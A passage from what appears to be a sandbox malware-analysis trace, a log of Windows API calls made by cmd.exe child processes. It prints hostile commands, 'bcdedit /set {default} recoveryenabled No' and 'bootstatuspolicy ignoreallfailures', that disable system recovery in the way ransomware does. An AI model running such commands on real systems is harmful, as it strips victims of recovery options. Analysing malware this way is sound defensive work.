_String2="PROCESS", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0030.712] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0030.712] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0030.714] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 9538298\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0x9a3a05f480*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 9538298\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9a3a05f468 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 9538298\"", lpProcessInformation=0x9a3a05f468*(hProcess=0x54, hThread=0x50, dwProcessId=0x78c, dwThreadId=0x3e0)) returned 1 [0030.721] CloseHandle (hObject=0x50) returned 1 [0030.721] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0030.721] GetEnvironmentStringsW () returned 0x9a3a236b30* [0030.721] FreeEnvironmentStringsA (penv="=") returned 1 [0030.721] DeleteProcThreadAttributeList (in: lpAttributeList=0x9a3a05f560 | out: lpAttributeList=0x9a3a05f560) [0030.721] _get_osfhandle (_FileHandle=3) returned 0x44 [0030.721] DuplicateHandle (in: hSourceProcessHandle=0x54, hSourceHandle=0x44, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0030.722] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0030.722] _close (_FileHandle=5) returned 0 [0030.722] _dup (_FileHandle=0) returned 4 [0030.722] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0030.722] _close (_FileHandle=3) returned 0 [0030.722] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0030.722] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0030.722] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0030.722] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0030.722] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0030.722] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0030.722] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0030.722] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0030.722] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0030.722] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0030.722] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0030.722] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0030.722] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0030.722] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0030.722] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0030.722] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0030.722] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0030.722] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0030.722] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0030.722] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0030.722] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0030.722] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0030.722] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0030.722] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0030.722] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0030.722] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0030.722] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0030.722] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0030.722] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0030.722] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0030.722] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0030.722] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0030.722] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0030.722] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0030.722] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0030.722] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0030.722] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0030.722] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0030.723] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0030.723] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0030.723] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0030.723] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0030.723] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0030.723] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0030.723] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0030.723] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0030.723] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0030.723] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0030.723] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0030.723] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0030.723] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0030.723] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0030.723] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0030.723] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0030.723] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0030.723] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0030.723] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0030.723] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0030.723] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0030.723] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0030.723] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0030.723] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0030.723] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0030.723] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0030.723] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0030.723] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0030.723] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0030.723] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0030.723] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0030.723] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0030.723] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0030.723] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0030.723] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0030.723] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0030.723] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0030.723] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0030.723] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0030.723] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0030.723] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0030.724] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0030.724] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0030.724] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0030.724] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0030.724] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0030.724] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0030.724] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0030.724] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0030.724] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0030.724] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0030.724] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0030.724] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0030.724] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0030.724] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0030.724] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0030.724] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0030.724] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0030.724] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0030.724] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0030.724] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0030.724] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0030.724] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0030.724] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0030.724] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0030.724] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0030.724] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0030.724] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0030.724] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0030.724] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0030.724] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0030.724] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0030.724] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0030.724] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0030.724] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0030.724] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0030.724] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0030.724] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0030.724] SetErrorMode (uMode=0x0) returned 0x0 [0030.725] SetErrorMode (uMode=0x1) returned 0x0 [0030.725] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x9a3a237f40, lpFilePart=0x9a3a05f5d0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0x9a3a05f5d0*="Desktop") returned 0x1c [0030.725] SetErrorMode (uMode=0x0) returned 0x1 [0030.725] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.725] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0030.726] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f350, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f350) returned 0xffffffffffffffff [0030.726] GetLastError () returned 0x2 [0030.726] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f350, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f350) returned 0x9a3a231140 [0030.726] FindClose (in: hFindFile=0x9a3a231140 | out: hFindFile=0x9a3a231140) returned 1 [0030.726] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f350, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f350) returned 0xffffffffffffffff [0030.726] GetLastError () returned 0x2 [0030.726] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f350, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f350) returned 0x9a3a231140 [0030.726] FindClose (in: hFindFile=0x9a3a231140 | out: hFindFile=0x9a3a231140) returned 1 [0030.726] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0030.726] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0030.726] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f0e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f0e0) returned 0xffffffffffffffff [0030.727] GetLastError () returned 0x2 [0030.727] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f0e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f0e0) returned 0x9a3a231170 [0030.727] FindClose (in: hFindFile=0x9a3a231170 | out: hFindFile=0x9a3a231170) returned 1 [0030.727] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f0e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f0e0) returned 0xffffffffffffffff [0030.727] GetLastError () returned 0x2 [0030.727] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x9a3a05f0e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9a3a05f0e0) returned 0x9a3a231170 [0030.727] FindClose (in: hFindFile=0x9a3a231170 | out: hFindFile=0x9a3a231170) returned 1 [0030.727] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0030.727] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0030.727] GetConsoleTitleW (in: lpConsoleTitle=0x9a3a05f640, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.727] InitializeProcThreadAttributeList (in: lpAttributeList=0x9a3a05f560, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9a3a05f460 | out: lpAttributeList=0x9a3a05f560, lpSize=0x9a3a05f460) returned 1 [0030.727] UpdateProcThreadAttribute (in: lpAttributeList=0x9a3a05f560, dwFlags=0x0, Attribute=0x60001, lpValue=0x9a3a05f448, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9a3a05f560, lpPreviousValue=0x0) returned 1 [0030.727] GetStartupInfoW (in: lpStartupInfo=0x9a3a05f4f0 | out: lpStartupInfo=0x9a3a05f4f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.727] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0030.727] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} recoveryenabled No", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0x9a3a05f480*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} recoveryenabled No", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9a3a05f468 | out: lpCommandLine="bcdedit /set {default} recoveryenabled No", lpProcessInformation=0x9a3a05f468*(hProcess=0x50, hThread=0x44, dwProcessId=0x874, dwThreadId=0x518)) returned 1 [0030.744] CloseHandle (hObject=0x44) returned 1 [0030.744] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0030.744] GetEnvironmentStringsW () returned 0x9a3a236e80* [0030.744] FreeEnvironmentStringsA (penv="=") returned 1 [0030.744] DeleteProcThreadAttributeList (in: lpAttributeList=0x9a3a05f560 | out: lpAttributeList=0x9a3a05f560) [0030.744] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0030.744] _close (_FileHandle=4) returned 0 [0030.744] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0031.057] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x9a3a05f8e8 | out: lpExitCode=0x9a3a05f8e8*=0x0) returned 1 [0031.057] CloseHandle (hObject=0x54) returned 1 [0031.057] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0031.115] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x9a3a05f8e8 | out: lpExitCode=0x9a3a05f8e8*=0x0) returned 1 [0031.115] CloseHandle (hObject=0x50) returned 1 [0031.115] _get_osfhandle (_FileHandle=1) returned 0x1c [0031.115] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0031.115] _get_osfhandle (_FileHandle=1) returned 0x1c [0031.115] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0031.115] _get_osfhandle (_FileHandle=0) returned 0x18 [0031.115] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0031.115] SetConsoleInputExeNameW () returned 0x1 [0031.115] GetConsoleOutputCP () returned 0x1b5 [0031.115] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0031.115] SetThreadUILanguage (LangId=0x0) returned 0x409 [0031.115] exit (_Code=0) Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x5a79c000" os_pid = "0x5f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaa0" cmd_line = "C:\\Windows\\system32\\cmd.exe /C title 8997147|bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 933 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 934 start_va = 0x91de340000 end_va = 0x91de35ffff entry_point = 0x0 region_type = private name = "private_0x00000091de340000" filename = "" Region: id = 935 start_va = 0x91de360000 end_va = 0x91de36efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091de360000" filename = "" Region: id = 936 start_va = 0x91de370000 end_va = 0x91de46ffff entry_point = 0x0 region_type = private name = "private_0x00000091de370000" filename = "" Region: id = 937 start_va = 0x91de470000 end_va = 0x91de473fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091de470000" filename = "" Region: id = 938 start_va = 0x91de480000 end_va = 0x91de480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091de480000" filename = "" Region: id = 939 start_va = 0x91de490000 end_va = 0x91de491fff entry_point = 0x0 region_type = private name = "private_0x00000091de490000" filename = "" Region: id = 940 start_va = 0x7ff6222f0000 end_va = 0x7ff622312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6222f0000" filename = "" Region: id = 941 start_va = 0x7ff62231d000 end_va = 0x7ff62231efff entry_point = 0x0 region_type = private name = "private_0x00007ff62231d000" filename = "" Region: id = 942 start_va = 0x7ff62231f000 end_va = 0x7ff62231ffff entry_point = 0x0 region_type = private name = "private_0x00007ff62231f000" filename = "" Region: id = 943 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff6231465b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 944 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 951 start_va = 0x91de5e0000 end_va = 0x91de6dffff entry_point = 0x0 region_type = private name = "private_0x00000091de5e0000" filename = "" Region: id = 952 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 953 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1231 start_va = 0x91de340000 end_va = 0x91de34ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091de340000" filename = "" Region: id = 1232 start_va = 0x91de350000 end_va = 0x91de356fff entry_point = 0x0 region_type = private name = "private_0x00000091de350000" filename = "" Region: id = 1233 start_va = 0x91de4a0000 end_va = 0x91de51dfff entry_point = 0x91de4a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1234 start_va = 0x91de560000 end_va = 0x91de56ffff entry_point = 0x0 region_type = private name = "private_0x00000091de560000" filename = "" Region: id = 1235 start_va = 0x7ff6221f0000 end_va = 0x7ff6222effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6221f0000" filename = "" Region: id = 1236 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1284 start_va = 0x91de6e0000 end_va = 0x91de9b4fff entry_point = 0x91de6e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1297 start_va = 0x91de520000 end_va = 0x91de526fff entry_point = 0x0 region_type = private name = "private_0x00000091de520000" filename = "" Thread: id = 89 os_tid = 0x870 [0030.650] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0030.650] __set_app_type (_Type=0x1) [0030.650] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0030.650] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0030.650] GetCurrentThreadId () returned 0x870 [0030.650] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x870) returned 0x28 [0030.650] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.650] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0030.650] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.684] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0030.684] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x91de46fcc8 | out: phkResult=0x91de46fcc8*=0x0) returned 0x2 [0030.684] VirtualQuery (in: lpAddress=0x91de46fcb4, lpBuffer=0x91de46fc30, dwLength=0x30 | out: lpBuffer=0x91de46fc30*(BaseAddress=0x91de46f000, AllocationBase=0x91de370000, AllocationProtect=0x4, __alignment1=0x91, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0x91de370000, lpBuffer=0x91de46fc30, dwLength=0x30 | out: lpBuffer=0x91de46fc30*(BaseAddress=0x91de370000, AllocationBase=0x91de370000, AllocationProtect=0x4, __alignment1=0x91, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.684] VirtualQuery (in: lpAddress=0x91de371000, lpBuffer=0x91de46fc30, dwLength=0x30 | out: lpBuffer=0x91de46fc30*(BaseAddress=0x91de371000, AllocationBase=0x91de370000, AllocationProtect=0x4, __alignment1=0x91, RegionSize=0x3000, State=0x1000, Protect=0x104, 